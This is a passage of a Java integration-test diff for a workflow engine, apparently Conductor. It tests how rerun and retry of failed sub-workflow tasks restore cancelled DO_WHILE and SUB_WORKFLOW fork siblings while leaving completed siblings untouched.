    After rerun from the failed inner task: - do_while_task → IN_PROGRESS (DO_WHILE is a + * system task, reset differently) - loop_body_task is rescheduled for the first iteration + */ + @Test + @DisplayName( + "PR #3458: Rerun task in subworkflow restores CANCELLED DO_WHILE sibling to IN_PROGRESS") + public void testRerunSubWorkflowReschedulesDoWhileSiblingCancelledByFork() { + String parentWfName = "rerun-subwf-dowhile-parent-" + System.currentTimeMillis(); + String subWfName = "rerun-subwf-dowhile-child-" + System.currentTimeMillis(); + String taskInSubRef = "task_in_sub_dowhile"; + String subWfTaskRef = "sub_wf_dowhile_task"; + String doWhileRef = "do_while_sibling"; + String loopBodyRef = "loop_body_task"; + String forkRef = "fork_dowhile_test"; + String joinRef = "join_dowhile_test"; + + // Sub-workflow: single SIMPLE task + TaskDef taskInSubDef = new TaskDef(taskInSubRef); + taskInSubDef.setRetryCount(0); + taskInSubDef.setOwnerEmail("test@conductor.io"); + WorkflowTask taskInSubWt = new WorkflowTask(); + taskInSubWt.setTaskReferenceName(taskInSubRef); + taskInSubWt.setName(taskInSubRef); + taskInSubWt.setTaskDefinition(taskInSubDef); + taskInSubWt.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef subWfDef = new WorkflowDef(); + subWfDef.setName(subWfName); + subWfDef.setOwnerEmail("test@conductor.io"); + subWfDef.setTimeoutSeconds(600); + subWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + subWfDef.setTasks(List.of(taskInSubWt)); + metadataClient.updateWorkflowDefs(java.util.List.of(subWfDef)); + + // DO_WHILE body: a single SIMPLE task, runs exactly one iteration + TaskDef loopBodyDef = new TaskDef(loopBodyRef); + loopBodyDef.setRetryCount(0); + loopBodyDef.setOwnerEmail("test@conductor.io"); + WorkflowTask loopBodyWt = new WorkflowTask(); + loopBodyWt.setTaskReferenceName(loopBodyRef); + loopBodyWt.setName(loopBodyRef); + loopBodyWt.setTaskDefinition(loopBodyDef); + loopBodyWt.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask doWhileTask = new WorkflowTask(); + doWhileTask.setTaskReferenceName(doWhileRef); + doWhileTask.setName(doWhileRef); + doWhileTask.setWorkflowTaskType(TaskType.DO_WHILE); + // Loop condition: run exactly once (iteration 1 < 1 is false → exit after first body) + doWhileTask.setLoopCondition( + "if ($.do_while_sibling['iteration'] < 1) { true; } else { false; }"); + doWhileTask.setLoopOver(List.of(loopBodyWt)); + + // Parent: FORK(sub_wf_task | do_while_sibling) → JOIN + SubWorkflowParams subParams = new SubWorkflowParams(); + subParams.setName(subWfName); + subParams.setVersion(1); + WorkflowTask subWfTask = new WorkflowTask(); + subWfTask.setTaskReferenceName(subWfTaskRef); + subWfTask.setName(subWfName); + subWfTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + subWfTask.setSubWorkflowParam(subParams); + + WorkflowTask forkTask = new WorkflowTask(); + forkTask.setTaskReferenceName(forkRef); + forkTask.setName("FORK_JOIN"); + forkTask.setWorkflowTaskType(TaskType.FORK_JOIN); + forkTask.setForkTasks(List.of(List.of(subWfTask), List.of(doWhileTask))); + + WorkflowTask joinTask = new WorkflowTask(); + joinTask.setTaskReferenceName(joinRef); + joinTask.setName("JOIN"); + joinTask.setWorkflowTaskType(TaskType.JOIN); + joinTask.setJoinOn(List.of(subWfTaskRef, doWhileRef)); + + WorkflowDef parentWfDef = new WorkflowDef(); + parentWfDef.setName(parentWfName); + parentWfDef.setOwnerEmail("test@conductor.io"); + parentWfDef.setTimeoutSeconds(600); + parentWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + parentWfDef.setTasks(List.of(forkTask, joinTask)); + metadataClient.updateWorkflowDefs(java.util.List.of(parentWfDef)); + + try { + StartWorkflowRequest startRequest = new StartWorkflowRequest(); + startRequest.setName(parentWfName); + startRequest.setVersion(1); + String workflowId = workflowClient.startWorkflow(startRequest); + + // Wait for subworkflow and DO_WHILE to be scheduled + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + Task swt = + wf.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals(subWfTaskRef)) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "sub_wf_task not found")); + assertNotNull( + swt.getSubWorkflowId(), + "sub_wf_task should have a subWorkflowId"); + assertFalse( + workflowClient + .getWorkflow(swt.getSubWorkflowId(), true) + .getTasks() + .isEmpty()); + assertTrue( + wf.getTasks().stream() + .anyMatch( + t -> + t.getTaskType() + .equals( + TaskType.DO_WHILE + .name())), + "DO_WHILE task should be present"); + }); + + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + String subWorkflowId = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(subWfTaskRef)) + .findFirst() + .orElseThrow() + .getSubWorkflowId(); + + // Verify DO_WHILE is IN_PROGRESS before failure + Task doWhileBeforeFailure = + workflow.getTasks().stream() + .filter(t -> t.getTaskType().equals(TaskType.DO_WHILE.name())) + .findFirst() + .orElseThrow(() -> new AssertionError("DO_WHILE task not found")); + assertEquals( + Task.Status.IN_PROGRESS, + doWhileBeforeFailure.getStatus(), + "DO_WHILE should be IN_PROGRESS initially. Got: " + + doWhileBeforeFailure.getStatus()); + + // Fail the inner task of the subworkflow → sub_wf_task FAILS → do_while_task CANCELLED + // → parent FAILS + Workflow subWorkflow = workflowClient.getWorkflow(subWorkflowId, true); + Task taskInSub = + subWorkflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(taskInSubRef)) + .findFirst() + .orElseThrow(() -> new AssertionError("task_in_sub not found")); + completeTask(taskInSub, TaskResult.Status.FAILED); + + // Wait for parent to FAIL and DO_WHILE to be CANCELLED + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals( + Workflow.WorkflowStatus.FAILED, + wf.getStatus(), + "Parent should be FAILED. Got: " + wf.getStatus()); + Task doWhile = + wf.getTasks().stream() + .filter( + t -> + t.getTaskType() + .equals( + TaskType.DO_WHILE + .name())) + .findFirst() + .orElseThrow(); + assertEquals( + Task.Status.CANCELED, + doWhile.getStatus(), + "DO_WHILE task should be CANCELLED. Got: " + + doWhile.getStatus()); + }); + + // === RETRY the subworkflow — triggers updateAndPushParents on the parent === + workflowClient.retryWorkflow(List.of(subWorkflowId)); + + // Wait for parent to resume to RUNNING + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Workflow.WorkflowStatus.RUNNING, + workflowClient + .getWorkflow(workflowId, true) + .getStatus(), + "Parent should be RUNNING after retry")); + + workflow = workflowClient.getWorkflow(workflowId, true); + + // === KEY ASSERTION: DO_WHILE must be IN_PROGRESS, not CANCELLED or SCHEDULED === + // DO_WHILE is a system task — it cannot be SCHEDULED like a SIMPLE task; + // PR #3458 explicitly sets it back to IN_PROGRESS. + Task doWhileAfterRerun = + workflow.getTasks().stream() + .filter(t -> t.getTaskType().equals(TaskType.DO_WHILE.name())) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "DO_WHILE task not found after rerun")); + assertEquals( + Task.Status.IN_PROGRESS, + doWhileAfterRerun.getStatus(), + "DO_WHILE sibling should be IN_PROGRESS after rerun (not CANCELLED). Got: " + + doWhileAfterRerun.getStatus()); + + // Wait for the loop body SIMPLE task to be rescheduled by the engine + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertTrue( + wf.getTasks().stream() + .anyMatch( + t -> + t.getTaskDefName() + .equals(loopBodyRef) + && t.getIteration() == 1 + && !t.getStatus() + .isTerminal()), + "Loop body task (iteration 1) should be active after DO_WHILE is restored to IN_PROGRESS"); + }); + + // Complete the loop body task (iteration 1) → DO_WHILE exits after one iteration + workflow = workflowClient.getWorkflow(workflowId, true); + Task loopBodyTask = + workflow.getTasks().stream() + .filter( + t -> + t.getTaskDefName().equals(loopBodyRef) + && t.getIteration() == 1 + && !t.getStatus().isTerminal()) + .findFirst() + .orElseThrow( + () -> new AssertionError("Active loop body task not found")); + completeTask(loopBodyTask, TaskResult.Status.COMPLETED); + + // Wait for DO_WHILE to complete + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + Task doWhile = + wf.getTasks().stream() + .filter( + t -> + t.getTaskType() + .equals( + TaskType.DO_WHILE + .name())) + .findFirst() + .orElseThrow(); + assertEquals( + Task.Status.COMPLETED, + doWhile.getStatus(), + "DO_WHILE should be COMPLETED after loop body finishes. Got: " + + doWhile.getStatus()); + }); + + // Complete the retried inner task of the subworkflow + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow sw = workflowClient.getWorkflow(subWorkflowId, true); + assertTrue( + sw.getTasks().stream() + .anyMatch( + t -> + t.getReferenceTaskName() + .equals( + taskInSubRef) + && !t.getStatus() + .isTerminal()), + "Retried task_in_sub should be active"); + }); + subWorkflow = workflowClient.getWorkflow(subWorkflowId, true); + Task retriedTaskInSub = + subWorkflow.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName().equals(taskInSubRef) + && !t.getStatus().isTerminal()) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "Active task_in_sub not found after rerun")); + completeTask(retriedTaskInSub, TaskResult.Status.COMPLETED); + + // Parent should reach COMPLETED + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflowClient + .getWorkflow(workflowId, true) + .getStatus(), + "Workflow should reach COMPLETED")); + + } finally { + try { + terminateExistingRunningWorkflows(parentWfName); + } catch (Exception e) { + /* ignore */ + } + try { + terminateExistingRunningWorkflows(subWfName); + } catch (Exception e) { + /* ignore */ + } + } + } + + /** + * Same regression but exercised through the rerun API instead of retry. Confirms + * updateAndPushParents handles SUB_WORKFLOW siblings correctly on the rerun path too (it shares + * the buggy code with retry). + */ + @Test + @DisplayName( + "Rerun task inside sub-workflow with all-SUB_WORKFLOW fork siblings spawns a fresh child") + public void testRerunFromTaskInsideAllSubWorkflowFork() { + long stamp = System.currentTimeMillis(); + String parentWfName = "rerun-allsubwf-rerun-parent-" + stamp; + String failingSubWfName = "rerun-allsubwf-rerun-failing-" + stamp; + String cancelledSubWfName = "rerun-allsubwf-rerun-cancelled-" + stamp; + String taskInFailingSubRef = "task_in_failing_sub_rerun"; + String taskInCancelledSubRef = "task_in_cancelled_sub_rerun"; + String failingSubRef = "failing_sub_ref_rerun"; + String cancelledSubRef = "cancelled_sub_ref_rerun"; + + registerWorkflow(failingSubWfName, List.of(simpleTask(taskInFailingSubRef))); + registerWorkflow(cancelledSubWfName, List.of(simpleTask(taskInCancelledSubRef))); + registerWorkflow( + parentWfName, + List.of( + forkJoin( + "fork_allsubwf_rerun", + List.of( + List.of(subWorkflowTask(failingSubRef, failingSubWfName)), + List.of( + subWorkflowTask( + cancelledSubRef, cancelledSubWfName)))), + join("join_allsubwf_rerun", List.of(failingSubRef, cancelledSubRef)))); + + try { + String workflowId = start(parentWfName); + + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertNotNull( + findActiveTask(wf, failingSubRef, "missing") + .getSubWorkflowId()); + assertNotNull( + findActiveTask(wf, cancelledSubRef, "missing") + .getSubWorkflowId()); + }); + + String failingSubWorkflowId = + findActiveTask(workflowId, failingSubRef, "missing").getSubWorkflowId(); + String originalCancelledSubWorkflowId = + findActiveTask(workflowId, cancelledSubRef, "missing").getSubWorkflowId(); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertFalse( + workflowClient + .getWorkflow(failingSubWorkflowId, true) + .getTasks() + .isEmpty())); + Task innerFailing = + findActiveTask( + failingSubWorkflowId, + taskInFailingSubRef, + "failing inner task not active"); + String failedInnerTaskId = innerFailing.getTaskId(); + completeTask(innerFailing, TaskResult.Status.FAILED); + + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.FAILED, wf.getStatus()); + assertEquals(Task.Status.CANCELED, statusOf(wf, cancelledSubRef)); + assertNotNull( + taskOf(wf, failingSubRef).getReasonForIncompletion(), + "failing_sub_ref should have reasonForIncompletion populated while FAILED"); + }); + + // === RERUN from the failed inner task (rerun API path, not retry) === + RerunWorkflowRequest rerunRequest = new RerunWorkflowRequest(); + rerunRequest.setReRunFromWorkflowId(failingSubWorkflowId); + rerunRequest.setReRunFromTaskId(failedInnerTaskId); + workflowClient.rerunWorkflow(failingSubWorkflowId, rerunRequest); + + awaitWorkflowStatus( + workflowId, + Workflow.WorkflowStatus.RUNNING, + "Parent should be RUNNING after rerun"); + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Task active = + findActiveTask( + workflowId, + cancelledSubRef, + "Expected active cancelled_sub_ref after rerun (sibling must be resumed)"); + assertEquals( + originalCancelledSubWorkflowId, + active.getSubWorkflowId(), + "Rerun must retry the cancelled sibling in-place (subWorkflowId preserved)"); + assertNull( + findActiveTask( + workflowId, + failingSubRef, + "failing_sub_ref must be active after rerun") + .getReasonForIncompletion(), + "failing_sub_ref reasonForIncompletion must be cleared after rerun walk-up"); + }); + + } finally { + terminateAll(parentWfName, failingSubWfName, cancelledSubWfName); + } + } + + /** + * Direct rerun of a SUB_WORKFLOW task in the parent spawns a brand-new child execution (rerun + * semantics). The previous child id is replaced and the fresh child starts its tasks from + * scratch. + */ + @Test + @DisplayName("Direct rerun on a SUB_WORKFLOW task spawns a fresh child (new id, fresh tasks)") + public void testDirectRerunOnSubWorkflowTaskSpawnsFreshChild() { + long stamp = System.currentTimeMillis(); + String parentWfName = "rerun-direct-subwf-parent-" + stamp; + String childWfName = "rerun-direct-subwf-child-" + stamp; + String task1Ref = "task1_direct_rerun"; + String task2Ref = "task2_direct_rerun"; + String subRef = "sub_ref_direct_rerun"; + + registerWorkflow(childWfName, List.of(simpleTask(task1Ref), simpleTask(task2Ref))); + registerWorkflow(parentWfName, List.of(subWorkflowTask(subRef, childWfName))); + + try { + String workflowId = start(parentWfName); + + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Task sub = + findActiveTask( + workflowId, subRef, "sub task should be active"); + assertNotNull(sub.getSubWorkflowId()); + findActiveTask( + sub.getSubWorkflowId(), + task1Ref, + "task1 should be active in child"); + }); + + Task subWfTask = findActiveTask(workflowId, subRef, "sub task should be active"); + String originalChildId = subWfTask.getSubWorkflowId(); + String subWfTaskId = subWfTask.getTaskId(); + + // Complete task1, then fail task2 → child FAILED, parent FAILED. + completeTask( + findActiveTask(originalChildId, task1Ref, "task1 missing"), + TaskResult.Status.COMPLETED); + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> + findActiveTask( + originalChildId, task2Ref, "task2 should be active")); + completeTask( + findActiveTask(originalChildId, task2Ref, "task2 missing"), + TaskResult.Status.FAILED); + + awaitWorkflowStatus( + workflowId, Workflow.WorkflowStatus.FAILED, 10, "Parent should be FAILED"); + + // === Direct rerun on the SUB_WORKFLOW task in the parent === + // Rerun semantics: a brand-new child workflow is spawned. The previous child + // id is replaced and the fresh child runs its tasks from scratch. + RerunWorkflowRequest rerunRequest = new RerunWorkflowRequest(); + rerunRequest.setReRunFromWorkflowId(workflowId); + rerunRequest.setReRunFromTaskId(subWfTaskId); + workflowClient.rerunWorkflow(workflowId, rerunRequest); + + awaitWorkflowStatus( + workflowId, + Workflow.WorkflowStatus.RUNNING, + "Parent must be RUNNING after rerun"); + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Task subTaskNow = + findActiveTask( + workflowId, + subRef, + "Rerun SUB_WORKFLOW task should be active"); + assertNotNull( + subTaskNow.getSubWorkflowId(), + "Rerun SUB_WORKFLOW task must have a child id"); + assertNotEquals( + originalChildId, + subTaskNow.getSubWorkflowId(), + "Direct rerun on SUB_WORKFLOW must spawn a fresh child (new id)"); + Workflow freshChild = + workflowClient.getWorkflow( + subTaskNow.getSubWorkflowId(), true); + assertFalse( + freshChild.getStatus().isTerminal(), + "Fresh child must be non-terminal"); + findActiveTask( + freshChild, + task1Ref, + "Fresh child must have task1 active (executed from scratch)"); + }); + + } finally { + terminateAll(parentWfName, childWfName); + } + } + + // --------- Three-branch fork + terminal-error: shared setup for cases 1-4 --------- + // Branch A fails with TERMINAL_ERROR, branch B is CANCELED by the cascade, branch C + // completes BEFORE the failure trigger so the cascade can't cancel it. Each test + // differs only in the rerun entry point and the case-specific assertions afterward. + + private static final String FAILING_SUB_REF = "failing_sub_ref"; + private static final String CANCELLED_SUB_REF = "cancelled_sub_ref"; + private static final String COMPLETED_SUB_REF = "completed_sub_ref"; + private static final String FAILING_INNER = "failing_inner_task"; + private static final String CANCELLED_INNER = "cancelled_inner_task"; + private static final String COMPLETED_INNER = "completed_inner_task"; + + private record ForkScenario( + String parentName, + String failingName, + String cancelledName, + String completedName, + String parentId, + String failingChildId, + String cancelledChildId, + String completedChildId) {} + + private ForkScenario forkWithFailedAndCancelledAndCompleted(String suffix) { + long stamp = System.currentTimeMillis(); + String parentName = "rerun-" + suffix + "-parent-" + stamp; + String failingName = "rerun-" + suffix + "-failing-" + stamp; + String cancelledName = "rerun-" + suffix + "-cancelled-" + stamp; + String completedName = "rerun-" + suffix + "-completed-" + stamp; + + registerWorkflow(failingName, List.of(simpleTask(FAILING_INNER))); + registerWorkflow(cancelledName, List.of(simpleTask(CANCELLED_INNER))); + registerWorkflow(completedName, List.of(simpleTask(COMPLETED_INNER))); + registerWorkflow( + parentName, + List.of( + forkJoin( + "fork_" + suffix, + List.of( + List.of(subWorkflowTask(FAILING_SUB_REF, failingName)), + List.of(subWorkflowTask(CANCELLED_SUB_REF, cancelledName)), + List.of( + subWorkflowTask( + COMPLETED_SUB_REF, completedName)))), + join( + "join_" + suffix, + List.of(FAILING_SUB_REF, CANCELLED_SUB_REF, COMPLETED_SUB_REF)))); + + String parentId = start(parentName); + + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(parentId, true); + assertNotNull( + findActiveTask(wf, FAILING_SUB_REF, "missing") + .getSubWorkflowId()); + assertNotNull( + findActiveTask(wf, CANCELLED_SUB_REF, "missing") + .getSubWorkflowId()); + assertNotNull( + findActiveTask(wf, COMPLETED_SUB_REF, "missing") + .getSubWorkflowId()); + }); + + String failingChildId = + findActiveTask(parentId, FAILING_SUB_REF, "missing").getSubWorkflowId(); + String cancelledChildId = + findActiveTask(parentId, CANCELLED_SUB_REF, "missing").getSubWorkflowId(); + String completedChildId = + findActiveTask(parentId, COMPLETED_SUB_REF, "missing").getSubWorkflowId(); + + completeTask( + awaitActiveTask(completedChildId, COMPLETED_INNER, "missing"), + TaskResult.Status.COMPLETED); + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Task.Status.COMPLETED, + statusOf( + workflowClient.getWorkflow(parentId, true), + COMPLETED_SUB_REF))); + + completeTask( + awaitActiveTask(failingChildId, FAILING_INNER, "missing"), + TaskResult.Status.FAILED_WITH_TERMINAL_ERROR); + + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(parentId, true); + assertEquals(Workflow.WorkflowStatus.FAILED, wf.getStatus()); + assertEquals(Task.Status.FAILED, statusOf(wf, FAILING_SUB_REF)); + assertEquals(Task.Status.CANCELED, statusOf(wf, CANCELLED_SUB_REF)); + assertEquals(Task.Status.COMPLETED, statusOf(wf, COMPLETED_SUB_REF)); + }); + + return new ForkScenario( + parentName, + failingName, + cancelledName, + completedName, + parentId, + failingChildId, + cancelledChildId, + completedChildId); + } + + /** Asserts the COMPLETED sibling is untouched after rerun. Used by all four cases. */ + private void assertCompletedSiblingUntouched(String parentId, String completedChildId) { + Workflow wf = workflowClient.getWorkflow(parentId, true); + assertEquals( + Task.Status.COMPLETED, + statusOf(wf, COMPLETED_SUB_REF), + COMPLETED_SUB_REF + + " must remain COMPLETED — walk-up must skip isSuccessful siblings"); + assertEquals( + completedChildId, + taskOf(wf, COMPLETED_SUB_REF).getSubWorkflowId(), + COMPLETED_SUB_REF + " subWorkflowId must be unchanged"); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflowClient.getWorkflow(completedChildId, false).getStatus(), + "completed child workflow must remain COMPLETED"); + } + + /** + * Drives the failing + cancelled branches' inner tasks to COMPLETED and asserts the parent + * reaches COMPLETED. Caller must pass the current subWorkflowIds (which may differ from the + * originals for cases that spawn fresh children). + */ + private void driveBothBranchesToCompletion( + String parentId, String activeFailingChildId, String activeCancelledChildId) { + // Fresh children are created via a two-hop async path: finalizeRerun queues the reset + // sibling, SystemTaskWorker creates the child, then the child's first decide runs + // asynchronously (the load-bearing async decide). The inner task is irreducibly async, + // so allow the full 30s window other awaits in this file use — under CI load the + // WorkflowSweeper can take longer than 15s to schedule it. + completeTask( + awaitActiveTask( + activeFailingChildId, FAILING_INNER, "failing inner task not active"), + TaskResult.Status.COMPLETED); + completeTask( + awaitActiveTask( + activeCancelledChildId, CANCELLED_INNER, "cancelled inner task not active"), + TaskResult.Status.COMPLETED); + awaitWorkflowStatus( + parentId, Workflow.WorkflowStatus.COMPLETED, 20, "Parent should reach COMPLETED"); + } + + /** + * Case 1 of four. Rerun from the FAILED_WITH_TERMINAL_ERROR task INSIDE the failing child + * sub-workflow. Walk-up via updateAndPushParents must restore the CANCELED sibling in place and + * leave the COMPLETED sibling alone. + */ + @Test + @DisplayName( + "Rerun FAILED_WITH_TERMINAL_ERROR task in failing sub-workflow reschedules CANCELED sibling, leaves COMPLETED sibling alone") + public void testRerunFailedTaskInFailingSubWorkflowReschedulesCancelledSibling() { + ForkScenario s = forkWithFailedAndCancelledAndCompleted("case1"); + try { + Task failedInnerTask = + taskOf(workflowClient.getWorkflow(s.failingChildId(), true), FAILING_INNER); + RerunWorkflowRequest req = new RerunWorkflowRequest(); + req.setReRunFromWorkflowId(s.failingChildId()); + req.setReRunFromTaskId(failedInnerTask.getTaskId()); + workflowClient.rerunWorkflow(s.failingChildId(), req); + + awaitWorkflowStatus(s.parentId(), Workflow.WorkflowStatus.RUNNING, "Parent → RUNNING"); + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(s.parentId(), true); + assertEquals( + s.failingChildId(), + findActiveTask(wf, FAILING_SUB_REF, "missing") + .getSubWorkflowId(), + "failing branch retried in place — subWorkflowId preserved"); + assertNull( + findActiveTask(wf, FAILING_SUB_REF, "missing") + .getReasonForIncompletion()); + assertEquals( + s.cancelledChildId(), + findActiveTask(wf, CANCELLED_SUB_REF, "missing") + .getSubWorkflowId(), + "cancelled branch retried in place — subWorkflowId preserved"); + assertCompletedSiblingUntouched(s.parentId(), s.completedChildId()); + }); + + driveBothBranchesToCompletion(s.parentId(), s.failingChildId(), s.cancelledChildId()); + } finally { + terminateAll(s.parentName(), s.failingName(), s.cancelledName(), s.completedName()); + } + } + + /** + * Case 2 of four. Rerun from the FAILED SUB_WORKFLOW task IN THE PARENT (failing branch's + * parent-level task). Parent has no parent so updateAndPushParents is a no-op; finalizeRerun's + * in-place sibling reset wipes terminal-unsuccessful siblings' subWorkflowIds → fresh children + * for both failing and cancelled branches; COMPLETED sibling untouched. + */ + @Test + @DisplayName( + "Rerun FAILED sub-workflow task in parent spawns fresh children for failing + cancelled siblings, leaves COMPLETED sibling alone") + public void testRerunFailedSubWorkflowTaskInParentReschedulesCancelledSibling() { + ForkScenario s = forkWithFailedAndCancelledAndCompleted("case2"); + try { + Task failedParentSubTask = + taskOf(workflowClient.getWorkflow(s.parentId(), true), FAILING_SUB_REF); + RerunWorkflowRequest req = new RerunWorkflowRequest(); + req.setReRunFromWorkflowId(s.parentId()); + req.setReRunFromTaskId(failedParentSubTask.getTaskId()); + workflowClient.rerunWorkflow(s.parentId(), req); + + awaitWorkflowStatus(s.parentId(), Workflow.WorkflowStatus.RUNNING, "Parent → RUNNING"); + String[] newFailingChildIdHolder = new String[1]; + String[] newCancelledChildIdHolder = new String[1]; + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(s.parentId(), true); + String newFailing = + findActiveTask(wf, FAILING_SUB_REF, "missing") + .getSubWorkflowId(); + String newCancelled = + findActiveTask(wf, CANCELLED_SUB_REF, "missing") + .getSubWorkflowId(); + assertNotNull( + newFailing, + "sweeper must assign a fresh child id for " + + FAILING_SUB_REF); + assertNotNull( + newCancelled, + "sweeper must assign a fresh child id for " + + CANCELLED_SUB_REF); + assertNotEquals( + s.failingChildId(), + newFailing, + "rerun on the SUB_WORKFLOW task itself must spawn a fresh child"); + assertNotEquals( + s.cancelledChildId(), + newCancelled, + "finalizeRerun wipes subWorkflowId on terminal-unsuccessful siblings — fresh child"); + assertCompletedSiblingUntouched(s.parentId(), s.completedChildId()); + newFailingChildIdHolder[0] = newFailing; + newCancelledChildIdHolder[0] = newCancelled; + }); + + String newFailingChildId = newFailingChildIdHolder[0]; + String newCancelledChildId = newCancelledChildIdHolder[0]; + driveBothBranchesToCompletion(s.parentId(), newFailingChildId, newCancelledChildId); + } finally { + terminateAll(s.parentName(), s.failingName(), s.cancelledName(), s.completedName()); + } + } + + /** + * Case 3 of four. Rerun from the CANCELED SUB_WORKFLOW task in the parent (cancelled sibling's + * parent-level task). No walk-up (parent is top-level); finalizeRerun's sibling reset spawns + * fresh children for both terminal-unsuccessful siblings. + */ + @Test + @DisplayName( + "Rerun CANCELLED sibling SUB_WORKFLOW task in parent reschedules FAILED sibling, leaves COMPLETED sibling alone") + public void testRerunCancelledSubWorkflowTaskInParentReschedulesFailedSibling() { + ForkScenario s = forkWithFailedAndCancelledAndCompleted("case3"); + try { + Task cancelledParentSubTask = + taskOf(workflowClient.getWorkflow(s.parentId(), true), CANCELLED_SUB_REF); + RerunWorkflowRequest req = new RerunWorkflowRequest(); + req.setReRunFromWorkflowId(s.parentId()); + req.setReRunFromTaskId(cancelledParentSubTask.getTaskId()); + workflowClient.rerunWorkflow(s.parentId(), req); + + awaitWorkflowStatus(s.parentId(), Workflow.WorkflowStatus.RUNNING, "Parent → RUNNING"); + String[] newFailingChildIdHolder3 = new String[1]; + String[] newCancelledChildIdHolder3 = new String[1]; + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(s.parentId(), true); + assertNull( + findActiveTask(wf, FAILING_SUB_REF, "missing") + .getReasonForIncompletion(), + FAILING_SUB_REF + + " reasonForIncompletion must be cleared after rerun"); + String newFailing = + findActiveTask(wf, FAILING_SUB_REF, "missing") + .getSubWorkflowId(); + assertNotNull( + newFailing, + "sweeper must assign a fresh child id for " + + FAILING_SUB_REF); + String newCancelled = + findActiveTask(wf, CANCELLED_SUB_REF, "missing") + .getSubWorkflowId(); + assertNotNull( + newCancelled, + "sweeper must assign a fresh child id for " + + CANCELLED_SUB_REF); + assertCompletedSiblingUntouched(s.parentId(), s.completedChildId()); + newFailingChildIdHolder3[0] = newFailing; + newCancelledChildIdHolder3[0] = newCancelled; + }); + + String newFailingChildId = newFailingChildIdHolder3[0]; + String newCancelledChildId = newCancelledChildIdHolder3[0]; + driveBothBranchesToCompletion(s.parentId(), newFailingChildId, newCancelledChildId); + } finally { + terminateAll(s.parentName(), s.failingName(), s.cancelledName(), s.completedName()); + } + } + + /** + * Case 4 of four. Rerun from the CANCELED SIMPLE task INSIDE the cancelled sibling. Walk-up + * through the cancelled child to the parent; sibling retry-in-place restores the FAILED + * sibling. + */ + @Test + @DisplayName( + "Rerun CANCELED simple task inside sibling sub-workflow reschedules FAILED sibling, leaves COMPLETED sibling alone") + public void testRerunCancelledTaskInsideSiblingSubWorkflowReschedulesFailedSibling() { + ForkScenario s = forkWithFailedAndCancelledAndCompleted("case4"); + try { + Task cancelledInnerTask = + taskOf(workflowClient.getWorkflow(s.cancelledChildId(), true), CANCELLED_INNER); + RerunWorkflowRequest req = new RerunWorkflowRequest(); + req.setReRunFromWorkflowId(s.cancelledChildId()); + req.setReRunFromTaskId(cancelledInnerTask.getTaskId()); + workflowClient.rerunWorkflow(s.cancelledChildId(), req); + + awaitWorkflowStatus(s.parentId(), Workflow.WorkflowStatus.RUNNING, "Parent → RUNNING"); + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(s.parentId(), true); + assertEquals( + s.cancelledChildId(), + findActiveTask(wf, CANCELLED_SUB_REF, "missing") + .getSubWorkflowId(), + "cancelled branch retried in place — subWorkflowId preserved"); + assertEquals( + s.failingChildId(), + findActiveTask(wf, FAILING_SUB_REF, "missing") + .getSubWorkflowId(), + "failing branch retried in place — subWorkflowId preserved"); + assertNull( + findActiveTask(wf, FAILING_SUB_REF, "missing") + .getReasonForIncompletion()); + assertCompletedSiblingUntouched(s.parentId(), s.completedChildId()); + }); + + driveBothBranchesToCompletion(s.parentId(), s.failingChildId(), s.cancelledChildId()); + } finally { + terminateAll(s.parentName(), s.failingName(), s.cancelledName(), s.completedName()); + } + } + + // ---------------- Workflow-construction helpers ---------------- + // Cut the boilerplate of building + // TaskDef/WorkflowTask/SubWorkflowParams/FORK_JOIN/JOIN/WorkflowDef + // by hand in every test. Each helper returns the WorkflowTask (or registers the def) — compose + // them. + + /** + * SIMPLE task; name == ref (good enough for tests). retryCount=0 so failures don't auto-retry. + */ + private static WorkflowTask 